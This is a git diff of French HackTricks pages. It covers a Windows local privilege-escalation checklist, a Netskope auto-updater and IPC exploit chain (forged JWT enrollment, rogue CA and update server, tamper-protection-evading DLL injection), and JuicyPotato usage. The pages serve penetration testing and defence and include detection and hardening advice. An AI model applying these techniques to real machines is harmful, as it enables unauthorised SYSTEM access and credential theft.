- [ ] **Permissions d’écriture** sur des applications installées [**write permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Applications au démarrage**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] [**Drivers vulnérables**](windows-local-privilege-escalation/index.html#drivers)
- [ ] **Permissions d'écriture** sur des applications installées [**write permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **Drivers vulnérables** [**Vulnerable Drivers**](windows-local-privilege-escalation/index.html#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] Pouvez-vous **écrire dans un dossier présent dans PATH** ?
- [ ] Existe-t-il un binaire de service connu qui **tente de charger une DLL inexistante** ?
- [ ] Existe-t-il un binaire de service connu qui **essaie de charger une DLL inexistante** ?
- [ ] Pouvez-vous **écrire** dans un **dossier de binaires** ?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Énumérer le réseau (shares, interfaces, routes, voisins, ...)
- [ ] Énumérer le réseau (shares, interfaces, routes, neighbours, ...)
- [ ] Porter une attention particulière aux services réseau écoutant sur localhost (127.0.0.1)
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] Identifiants [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials)
- [ ] Utilisez-vous des identifiants du [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) ?
- [ ] [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) intéressants ?
- [ ] Mots de passe des réseaux [**Wifi**](windows-local-privilege-escalation/index.html#wifi) sauvegardés ?
- [ ] Infos intéressantes dans les [**connexions RDP enregistrées**](windows-local-privilege-escalation/index.html#saved-rdp-connections) ?
- [ ] Mots de passe dans les [**commandes récemment exécutées**](windows-local-privilege-escalation/index.html#recently-run-commands) ?
- [ ] Mots de passe du [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) ?
- [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/index.html#appcmd-exe) ? Identifiants ?
- [ ] Credentials [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials)
- [ ] Credentials [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) utilisables ?
- [ ] DPAPI credentials intéressants ? (windows-local-privilege-escalation/index.html#dpapi)
- [ ] Mots de passe de réseaux Wifi enregistrés ? (windows-local-privilege-escalation/index.html#wifi)
- [ ] Infos intéressantes dans les [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) ?
- [ ] Mots de passe dans les [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) ?
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) mots de passe ?
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe) ? Credentials ?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm) ? DLL Side Loading ?
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
- [ ] **Putty :** [**identifiants**](windows-local-privilege-escalation/index.html#putty-creds) **et** [**clefs d’hôte SSH**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**Clés SSH dans le registre**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry) ?
- [ ] Mots de passe dans des [**fichiers unattended**](windows-local-privilege-escalation/index.html#unattended-files) ?
- [ ] **Putty :** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **et** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry) ?
- [ ] Mots de passe dans des [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) ?
- [ ] Existe-t-il une sauvegarde [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) ?
- [ ] [**Identifiants cloud**](windows-local-privilege-escalation/index.html#cloud-credentials) ?
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials) ?
- [ ] Fichier [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) ?
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) ?
- [ ] Mot de passe dans le [**IIS Web config**](windows-local-privilege-escalation/index.html#iis-web-config) ?
- [ ] Infos intéressantes dans les [**logs web**](windows-local-privilege-escalation/index.html#logs) ?
- [ ] Voulez-vous [**demander des identifiants**](windows-local-privilege-escalation/index.html#ask-for-credentials) à l’utilisateur ?
- [ ] Fichiers intéressants dans la [**Corbeille**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) ?
- [ ] Autres [**renseignements dans le registre contenant des identifiants**](windows-local-privilege-escalation/index.html#inside-the-registry) ?
- [ ] Dans les [**données du navigateur**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, historique, bookmarks, ...) ?
- [ ] [**Recherche générique de mots de passe**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) dans les fichiers et le registre
- [ ] [**Outils**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) pour rechercher automatiquement des mots de passe
- [ ] Mot de passe dans un [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) ?
- [ ] Infos intéressantes dans des [**web logs**](windows-local-privilege-escalation/index.html#logs) ?
- [ ] Voulez-vous [**demander des credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) à l'utilisateur ?
- [ ] Fichiers intéressants dans la [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) ?
- [ ] Autres [**registry contenant des credentials**](windows-local-privilege-escalation/index.html#inside-the-registry) ?
- [ ] Dans les [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...) ?
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) dans les fichiers et le registry
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) pour rechercher automatiquement des mots de passe
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
- [ ] Avez-vous accès à un handler d’un processus exécuté par un administrateur ?
- [ ] Avez-vous accès à un handler d'un processus exécuté par un administrateur ?
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
- [ ] Vérifier si vous pouvez l’abuser
- [ ] Vérifier si vous pouvez l'abuser
{{#include ../banners/hacktricks-training.md}}

540
src/windows-hardening/windows-local-privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

102
src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md
View File

@ -1,26 +1,26 @@
# Abuser les Auto-Updaters d'entreprise et l'IPC privilégié (p. ex., Netskope stAgentSvc)
# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
{{#include ../../banners/hacktricks-training.md}}
Cette page généralise une classe de chaînes d'escalade de privilèges locales Windows trouvées dans les agents endpoint d'entreprise et les updaters qui exposent une surface IPC peu contraignante et un flux de mise à jour privilégié. Un exemple représentatif est Netskope Client for Windows < R129 (CVE-2025-0309), où un utilisateur peu privilégié peut forcer l'inscription sur un serveur contrôlé par l'attaquant puis fournir un MSI malveillant que le service SYSTEM installe.
Cette page généralise une classe de chaînes d'escalade de privilèges locales Windows trouvées dans les agents endpoint d'entreprise et les updaters qui exposent une surface IPC à faible friction et un flux de mise à jour privilégié. Un exemple représentatif est Netskope Client for Windows < R129 (CVE-2025-0309), où un utilisateur à privilèges limités peut forcer l'enrôlement vers un serveur contrôlé par l'attaquant puis livrer un MSI malveillant que le service SYSTEM installe.
Idées clés réutilisables contre des produits similaires :
- Abuser de l'IPC localhost d'un service privilégié pour forcer la ré‑inscription ou la reconfiguration vers un serveur de l'attaquant.
- Implémenter les update endpoints du vendor, livrer un Trusted Root CA rogue, et pointer l'updater vers un package malveillant « signé ».
- Éviter les vérifications faibles du signer (CN allow‑lists), les flags digest optionnels, et les propriétés MSI laxistes.
- Si l'IPC est « encrypted », dériver la key/IV à partir d'identifiants machine lisibles par tous stockés dans le registry.
- Si le service restreint les appelants par image path/process name, injecter dans un processus allow‑listé ou en lancer un suspendu et bootstrapper votre DLL via un patch minimal du thread‑context.
- Abuser de l'IPC localhost d'un service privilégié pour forcer un ré-enrôlement ou une reconfiguration vers un serveur attaquant.
- Implémenter les endpoints de mise à jour du vendor, livrer un Trusted Root CA rogue, et pointer l'updater vers un package malveillant « signé ».
- Éviter des vérifications de signature faibles (CN allow‑lists), flags de digest optionnels, et propriétés MSI laxistes.
- Si l'IPC est « chiffré », dériver la key/IV à partir d'identifiants machine lisibles globalement stockés dans le registry.
- Si le service restreint les appelants par image path/process name, injecter dans un process allow‑listé ou en en créer un suspendu et bootstrapper votre DLL via un minimal thread‑context patch.
---
## 1) Forcer l'inscription vers un serveur contrôlé par l'attaquant via l'IPC localhost
## 1) Forcing enrollment to an attacker server via localhost IPC
De nombreux agents incluent un processus UI en mode utilisateur qui communique avec un service SYSTEM via TCP localhost en utilisant JSON.
Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON.
Observé chez Netskope :
Observed in Netskope:
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
Flux d'exploitation :
Exploit flow:
1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
```json
@ -31,90 +31,90 @@ Flux d'exploitation :
}
}
```
3) Le service commence à contacter votre serveur malveillant pour l'enrôlement/la configuration, p. ex. :
3) Le service commence à contacter votre serveur malveillant pour enrollment/config, par ex. :
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Remarques :
- Si la vérification de l'appelant est basée sur le chemin/nom, faites provenir la requête d'un vendor binary allow‑listed (voir §4).
- Si la vérification de l'appelant est path/name‑based, faites provenir la requête d'un binaire fournisseur figurant sur la liste blanche (voir §4).
---
## 2) Détourner le canal de mise à jour pour exécuter du code en tant que SYSTEM
## 2) Détournement du canal de mise à jour pour exécuter du code en tant que SYSTEM
Une fois que le client communique avec votre serveur, implémentez les endpoints attendus et orientez-le vers un attacker MSI. Séquence typique :
Une fois que le client communique avec votre serveur, implémentez les endpoints attendus et redirigez-le vers un MSI malveillant. Séquence typique :
1) /v2/config/org/clientconfig → Retourner la configuration JSON avec un intervalle de mise à jour très court, p. ex. :
1) /v2/config/org/clientconfig → Retourner la configuration JSON avec un intervalle de mise à jour très court, par ex. :
```json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
```
2) /config/ca/cert → Retourne un certificat CA au format PEM. Le service l'installe dans le magasin Trusted Root de Local Machine.
3) /v2/checkupdate → Fournit des métadonnées pointant vers un MSI malveillant et une version factice.
2) /config/ca/cert → Retourne un certificat CA au format PEM. Le service l’installe dans le magasin Local Machine Trusted Root.
3) /v2/checkupdate → Fournit des métadonnées pointant vers un MSI malveillant et une fausse version.
Bypass des vérifications courantes observées en pratique :
- Signer CN allow‑list : le service peut se contenter de vérifier que le Subject CN est “netSkope Inc” ou “Netskope, Inc.”. Votre CA malveillante peut émettre un certificat leaf avec ce CN et signer le MSI.
- CERT_DIGEST property : inclure une propriété MSI bénigne nommée CERT_DIGEST. Aucune application de cette valeur à l'installation.
Bypass des contrôles courants observés sur le terrain :
- Signer CN allow‑list : le service peut simplement vérifier que le Subject CN est “netSkope Inc” ou “Netskope, Inc.”. Votre rogue CA peut émettre un certificat leaf avec ce CN et signer le MSI.
- CERT_DIGEST property : inclure une propriété MSI bénigne nommée CERT_DIGEST. Aucune vérification lors de l’installation.
- Optional digest enforcement : un flag de config (par ex., check_msi_digest=false) désactive la validation cryptographique supplémentaire.
Résultat : le service SYSTEM installe votre MSI depuis
C:\ProgramData\Netskope\stAgent\data\*.msi
et exécute du code arbitraire en tant que NT AUTHORITY\SYSTEM.
exécutant du code arbitraire en tant que NT AUTHORITY\SYSTEM.
---
## 3) Forging encrypted IPC requests (when present)
## 3) Falsification de requêtes IPC chiffrées (lorsqu'elles sont présentes)
Depuis R127, Netskope encapsulait le JSON IPC dans un champ encryptData qui ressemble à du Base64. Le reverse engineering a montré un AES avec key/IV dérivés de valeurs de registre lisibles par n’importe quel utilisateur :
Depuis R127, Netskope encapsulait le JSON IPC dans un champ encryptData qui ressemble à du Base64. Le reverse a montré un AES avec clé/IV dérivés de valeurs de registre lisibles par n’importe quel utilisateur :
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
Les attaquants peuvent reproduire le chiffrement et envoyer des commandes chiffrées valides depuis un utilisateur standard. Astuce générale : si un agent "chiffre" soudainement son IPC, cherchez des device IDs, product GUIDs, install IDs sous HKLM comme matériau.
Les attaquants peuvent reproduire le chiffrement et envoyer des commandes chiffrées valides depuis un utilisateur standard. Astuce générale : si un agent se met soudainement à “chiffrer” son IPC, cherchez des device IDs, product GUIDs, install IDs sous HKLM comme matériau.
---
## 4) Bypassing IPC caller allow‑lists (path/name checks)
## 4) Contournement des allow‑lists d'appelants IPC (vérification de chemin/nom)
Certains services tentent d'authentifier le pair en résolvant le PID de la connexion TCP et en comparant le chemin/nom de l'image avec des binaires vendor allow‑listés situés sous Program Files (par ex., stagentui.exe, bwansvc.exe, epdlp.exe).
Certains services tentent d’authentifier le pair en résolvant le PID de la connexion TCP et en comparant le chemin/nom de l’image à des binaires vendor allow‑listés situés sous Program Files (par ex., stagentui.exe, bwansvc.exe, epdlp.exe).
Deux contournements pratiques :
- DLL injection dans un processus allow‑listé (par ex., nsdiag.exe) et proxy de l'IPC depuis l'intérieur.
- Lancer un binaire allow‑listé en suspended et bootstrapper votre DLL proxy sans CreateRemoteThread (voir §5) pour satisfaire les règles anti‑tamper appliquées par le driver.
- DLL injection dans un processus allow‑listé (par ex., nsdiag.exe) et proxy de l’IPC depuis l’intérieur.
- Lancer un binaire allow‑listé en état suspended et bootstrapper votre DLL proxy sans CreateRemoteThread (voir §5) pour satisfaire les règles de protection appliquées par le driver.
---
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
## 5) Injection compatible avec la protection anti‑manipulation : processus suspended + patch NtContinue
Les produits fournissent souvent un minifilter / OB callbacks driver (par ex., Stadrv) pour retirer des droits dangereux des handles vers les processus protégés :
Les produits embarquent souvent un minifilter/OB callbacks driver (par ex., Stadrv) pour retirer les droits dangereux des handles vers les processus protégés :
- Process : supprime PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
- Thread : limite à THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
- Thread : restreint à THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
Un loader user‑mode fiable qui respecte ces contraintes :
1) CreateProcess d'un binaire vendor avec CREATE_SUSPENDED.
2) Obtenir les handles encore autorisés : PROCESS_VM_WRITE | PROCESS_VM_OPERATION sur le process, et un handle de thread avec THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ou juste THREAD_RESUME si vous patcher du code à un RIP connu).
3) Écraser ntdll!NtContinue (ou un autre thunk précoce garanti mappé) par un petit stub qui appelle LoadLibraryW sur le chemin de votre DLL, puis saute en arrière.
4) ResumeThread pour déclencher votre stub in‑process et charger votre DLL.
1) CreateProcess d’un binaire vendor avec CREATE_SUSPENDED.
2) Obtenir les handles encore autorisés : PROCESS_VM_WRITE | PROCESS_VM_OPERATION sur le processus, et un handle de thread avec THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ou juste THREAD_RESUME si vous patcher du code à un RIP connu).
3) Écraser ntdll!NtContinue (ou un autre thunk précoce garanti mappé) par un petit stub qui appelle LoadLibraryW sur le chemin de votre DLL, puis revient.
4) ResumeThread pour déclencher votre stub en‑process, chargeant votre DLL.
Parce que vous n'avez jamais utilisé PROCESS_CREATE_THREAD ou PROCESS_SUSPEND_RESUME sur un process déjà‑protégé (vous l'avez créé), la politique du driver est satisfaite.
Comme vous n’avez jamais utilisé PROCESS_CREATE_THREAD ou PROCESS_SUSPEND_RESUME sur un processus déjà protégé (vous l’avez créé), la politique du driver est satisfaite.
---
## 6) Practical tooling
- NachoVPN (Netskope plugin) automatise une CA malveillante, la signature d’un MSI malveillant, et fournit les endpoints nécessaires : /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope est un client IPC personnalisé qui fabrique des messages IPC arbitraires (optionnellement AES‑chiffrés) et inclut l'injection via processus suspendu pour émaner d'un binaire allow‑listé.
## 6) Outils pratiques
- NachoVPN (Netskope plugin) automatise une rogue CA, la signature de MSI malveillant, et sert les endpoints nécessaires : /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope est un client IPC personnalisé qui fabrique des messages IPC arbitraires (optionnellement AES‑encrypted) et inclut l’injection via processus suspended pour émettre depuis un binaire allow‑listé.
---
## 7) Detection opportunities (blue team)
- Surveiller les ajouts au Local Machine Trusted Root. Sysmon + registry‑mod eventing (voir les recommandations SpecterOps) fonctionne bien.
- Signaler les exécutions de MSI initiées par le service de l'agent depuis des chemins comme C:\ProgramData\<vendor>\<agent>\data\*.msi.
- Examiner les logs de l'agent pour des hosts/tenants d'enrôlement inattendus, ex. : C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – rechercher des anomalies addonUrl / tenant et provisioning msg 148.
- Alerter sur les clients IPC localhost qui ne sont pas les binaires signés attendus, ou qui proviennent d'arbres de processus enfants inhabituels.
## 7) Opportunités de détection (blue team)
- Surveiller les ajouts au Local Machine Trusted Root. Sysmon + registry‑mod eventing (voir les recommandations de SpecterOps) fonctionne bien.
- Signaler les exécutions de MSI initiées par le service de l’agent depuis des chemins comme C:\ProgramData\<vendor>\<agent>\data\*.msi.
- Examiner les logs de l’agent pour des hosts/tenants d’enrôlement inattendus, p.ex. : C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – chercher les anomalies addonUrl / tenant et le provisioning msg 148.
- Alerter sur des clients IPC localhost qui ne sont pas les binaires signés attendus, ou qui proviennent d’arbres de processus enfants inhabituels.
---
## Hardening tips for vendors
- Lier les hosts d'enrôlement/update à une allow‑list stricte ; rejeter les domaines non fiables dans clientcode.
- Authentifier les peers IPC avec des primitives OS (ALPC security, named‑pipe SIDs) plutôt qu'avec des vérifications de chemin/nom d'image.
- Garder le matériel secret hors de HKLM lisible par tous ; si l'IPC doit être chiffré, dériver les clés depuis des secrets protégés ou négocier sur des canaux authentifiés.
- Traiter l'updater comme une surface de la supply‑chain : exiger une chaîne complète vers une CA de confiance que vous contrôlez, vérifier les signatures des packages contre des clés épinglées, et échouer fermé si la validation est désactivée dans la config.
## Conseils de durcissement pour les éditeurs
- Lier les hosts d’enrôlement/update à une allow‑list stricte ; rejeter les domaines non fiables dans clientcode.
- Authentifier les pairs IPC avec des primitives OS (ALPC security, named‑pipe SIDs) au lieu de vérifications basées sur le chemin/nom de l’image.
- Garder le matériel secret hors de HKLM lisible par tous ; si l’IPC doit être chiffré, dériver les clés à partir de secrets protégés ou négocier sur des canaux authentifiés.
- Traiter l’updater comme une surface de la chaîne d’approvisionnement : exiger une chaîne complète vers une CA de confiance que vous contrôlez, vérifier les signatures des paquets contre des clés épinglées, et échouer fermé si la validation est désactivée en config.
## References
## Références
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)

80
src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING] > JuicyPotato est obsolète. Il fonctionne généralement sur les versions de Windows jusqu'à Windows 10 1803 / Windows Server 2016. Les changements apportés par Microsoft à partir de Windows 10 1809 / Server 2019 ont cassé la technique originale. Pour ces builds et les versions plus récentes, envisagez des alternatives modernes telles que PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato et autres. Voir la page ci‑dessous pour des options et usages à jour.
> [!WARNING] > JuicyPotato est obsolète. Il fonctionne généralement sur les versions de Windows jusqu'à Windows 10 1803 / Windows Server 2016. Les changements opérés par Microsoft à partir de Windows 10 1809 / Server 2019 ont cassé la technique originale. Pour ces builds et versions plus récentes, envisagez des alternatives modernes telles que PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato et d'autres. Voir la page ci‑dessous pour des options et usages à jour.
{{#ref}}
@ -11,49 +11,49 @@ roguepotato-and-printspoofer.md
## Juicy Potato (abus des privilèges 'golden') <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_Une version sucrée de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, avec un peu de jus, c.-à-d. **un autre outil de Local Privilege Escalation, de Windows Service Accounts vers NT AUTHORITY\SYSTEM**_
_Une version sucrée de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, avec un peu de jus, c.-à-d. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
#### Vous pouvez télécharger juicypotato depuis [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
### Notes rapides de compatibilité
- Fonctionne de façon fiable jusqu'à Windows 10 1803 et Windows Server 2016 lorsque le contexte courant dispose de SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege.
- Cassé par le durcissement Microsoft dans Windows 10 1809 / Windows Server 2019 et suivants. Préférez les alternatives listées ci‑dessus pour ces builds.
- Fonctionne de manière fiable jusqu'à Windows 10 1803 et Windows Server 2016 lorsque le contexte courant possède `SeImpersonatePrivilege` ou `SeAssignPrimaryTokenPrivilege`.
- Cassée par le durcissement effectué par Microsoft dans Windows 10 1809 / Windows Server 2019 et versions ultérieures. Préférez les alternatives liées ci‑dessus pour ces builds.
### Résumé <a href="#summary" id="summary"></a>
[**Extrait du Readme de juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) et ses [variants](https://github.com/decoder-it/lonelypotato) exploitent la chaîne d'escalade de privilèges basée sur le service [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) ayant le listener MiTM sur `127.0.0.1:6666` et lorsque vous disposez des privilèges `SeImpersonate` ou `SeAssignPrimaryToken`. Lors d'une revue de build Windows nous avons trouvé une configuration où `BITS` était intentionnellement désactivé et le port `6666` occupé.
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
Nous avons décidé d'exploiter [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) : **Voici Juicy Potato**.
We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Voici Juicy Potato**.
> Pour la théorie, voir [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) et suivez la chaîne de liens et références.
> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
Nous avons découvert que, en dehors de `BITS`, il existe plusieurs serveurs COM que nous pouvons abuser. Ils doivent simplement :
We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to:
1. être instanciables par l'utilisateur courant, normalement un “service user” qui a des privilèges d'impersonation
1. être instanciables par l'utilisateur courant, normalement un “service user” qui dispose de privilèges d'impersonation
2. implémenter l'interface `IMarshal`
3. s'exécuter en tant qu'utilisateur élevé (SYSTEM, Administrator, …)
Après quelques tests, nous avons obtenu et vérifié une liste exhaustive de [CLSID intéressants](http://ohpe.it/juicy-potato/CLSID/) sur plusieurs versions de Windows.
After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions.
### Détails juteux <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato vous permet de :
- **Target CLSID** _choisissez n'importe quel CLSID que vous voulez._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _vous pouvez trouver la liste organisée par OS._
- **COM Listening port** _définissez le port d'écoute COM que vous préférez (au lieu du 6666 codé en dur dans le marshalling)_
- **COM Listening IP address** _lier le serveur sur n'importe quelle IP_
- **Process creation mode** _en fonction des privilèges de l'utilisateur impersonné vous pouvez choisir parmi :_
- **Target CLSID** _choisissez le CLSID que vous voulez._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _vous pouvez trouver la liste organisée par OS._
- **COM Listening port** _définissez le port d'écoute COM que vous préférez (au lieu du `6666` marshallé codé en dur)_
- **COM Listening IP address** _associer le serveur à n'importe quelle IP_
- **Process creation mode** _selon les privilèges de l'utilisateur impersonné, vous pouvez choisir parmi :_
- `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `both`
- **Process to launch** _lancez un exécutable ou un script si l'exploitation réussit_
- **Process Argument** _personnalisez les arguments du processus lancé_
- **RPC Server address** _pour une approche discrète vous pouvez vous authentifier auprès d'un serveur RPC externe_
- **RPC Server port** _utile si vous souhaitez vous authentifier auprès d'un serveur externe et que le pare‑feu bloque le port `135`…_
- **TEST mode** _principalement pour des tests, i.e. tester des CLSIDs. Il crée le DCOM et affiche l'utilisateur du token. Voir_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
- **Process to launch** _lancer un exécutable ou un script si l'exploitation réussit_
- **Process Argument** _personnaliser les arguments du processus lancé_
- **RPC Server address** _pour une approche discrète, vous pouvez vous authentifier auprès d'un serveur RPC externe_
- **RPC Server port** _utile si vous voulez vous authentifier vers un serveur externe et qu'un firewall bloque le port `135`…_
- **TEST mode** _principalement pour des tests, i.e. tester des CLSID. Il crée le DCOM et affiche l'utilisateur du token. Voir_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
### Utilisation <a href="#usage" id="usage"></a>
```
@ -72,13 +72,13 @@ Optional args:
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
```
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
### Remarques finales <a href="#final-thoughts" id="final-thoughts"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
Si l'utilisateur possède les privilèges `SeImpersonate` ou `SeAssignPrimaryToken`, alors vous êtes **SYSTEM**.
If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**.
Il est presque impossible d'empêcher l'abus de tous ces COM Servers. Vous pourriez envisager de modifier les permissions de ces objets via `DCOMCNFG`, mais bonne chance, ce sera difficile.
Il est presque impossible d'empêcher l'abus de tous ces COM Servers. Vous pourriez envisager de modifier les permissions de ces objets via `DCOMCNFG` mais bonne chance, ça va être difficile.
La vraie solution est de protéger les comptes sensibles et les applications qui s'exécutent sous les comptes `* SERVICE`. Bloquer `DCOM` inhiberait certainement cet exploit mais pourrait avoir un impact sérieux sur le système d'exploitation sous-jacent.
@ -86,16 +86,16 @@ From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
## JuicyPotatoNG (2022+)
JuicyPotatoNG réintroduit un local privilege escalation de type JuicyPotato sur les Windows modernes en combinant :
- la résolution DCOM OXID vers un serveur RPC local sur un port choisi, évitant l'ancien listener codé en dur 127.0.0.1:6666.
- un hook SSPI pour capturer et usurper l'authentification SYSTEM entrante sans nécessiter RpcImpersonateClient, ce qui permet également CreateProcessAsUser lorsque seul SeAssignPrimaryTokenPrivilege est présent.
- des astuces pour satisfaire les contraintes d'activation DCOM (par ex., l'ancienne exigence de groupe INTERACTIVE lors du ciblage des classes PrintNotify / ActiveX Installer Service).
JuicyPotatoNG réintroduit une élévation de privilèges locale JuicyPotato-style sur les versions modernes de Windows en combinant :
